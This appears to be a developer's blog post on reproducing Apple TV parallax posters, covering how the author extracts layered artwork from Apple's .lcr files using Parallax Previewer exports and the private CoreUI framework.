Fortunately for developers, parallax is built in the OS, right within UIImage and UIImageView. The main issue is simply sourcing these parallax-ready posters. It is pretty easy to find high quality posters coming right from iTunes using tools like this one, but they do not have isolated layers like we need.
Fig 2. Definitely more pixels than we could possibly need
We could totally Photoshop each poster by hand, but it might take quite some time to get decent result on just a dozen movies. But once again another tinkerer was a step in front of me and found a way to scap movies posters from Apple. Hell, he even built a database and a API to get posters from. We just have to plug this API right into an Image View and be done!
Sadly, it’s not as simple. It turns out, since the LCR file parser is built right into the operating system, we cannot access the individual layers. While my app will emulate the Apple TV experience as close as possible, it cannot use default views and elements. All of the UI will need to be custom and rendered by hand.
The next step of research involves the official Parallax Previewer app from the Apple developers toolchain. It can open .lcr, .lsr and .psd files. Opening an lcr file obtained from the API gives us access to the layers we need, but no way to export them individually.
Fig 3. Getting close, but not quite there yet.
The app lets us export a .lcr as an .lsr. While .lcr is a proprietary format, .lsr seems to be only an archive containing imagesets with JSON configuration files for each layer.
Fig 4. Unnecessarily Tronish-looking terminal window
This method gives exactly what we need! Each layer in its own file, with position/size information for correct layer positioning.
Fig 5. Look ma’, no magic wand!
Sadly, while faster than the all-by-hand solution, it cannot be seemingly automated and will require quite some work to convert artwork on the fly.
Looking back at the .lcr files, its structure seems fairly similar to iOS’ image collection file types. Looking at the Parallax app, it seems to use the private framework CoreUI to manage both the PSD and the parallax files. Some pretty advanced googling turned out this project by the awesome Steve T-S (that you should be following if you like tinkering with Apple stuff) that lays down a pretty solid base for extracting image catalogs using CoreUI.
Fig 6. CoreUI-extracted layers
This method can definitely be automated, but is still missing the scale and position information from the JSON files, to properly position the logo or make Daniel Craig’s legs not appear to be cut.
Right there seems a pretty good place to stop, and next time we will try to dive more into CoreOS to extract the right info from the files. Then, we’ll look into reproducing the same effect from scratch!
Learn how Ivan made this sweet BB-8 animation with Cinema 4D and Signal. Read more here.
I made this thing last night, and posted a breakdown of it on Greyscalegorilla. You can see it move on Dribbble!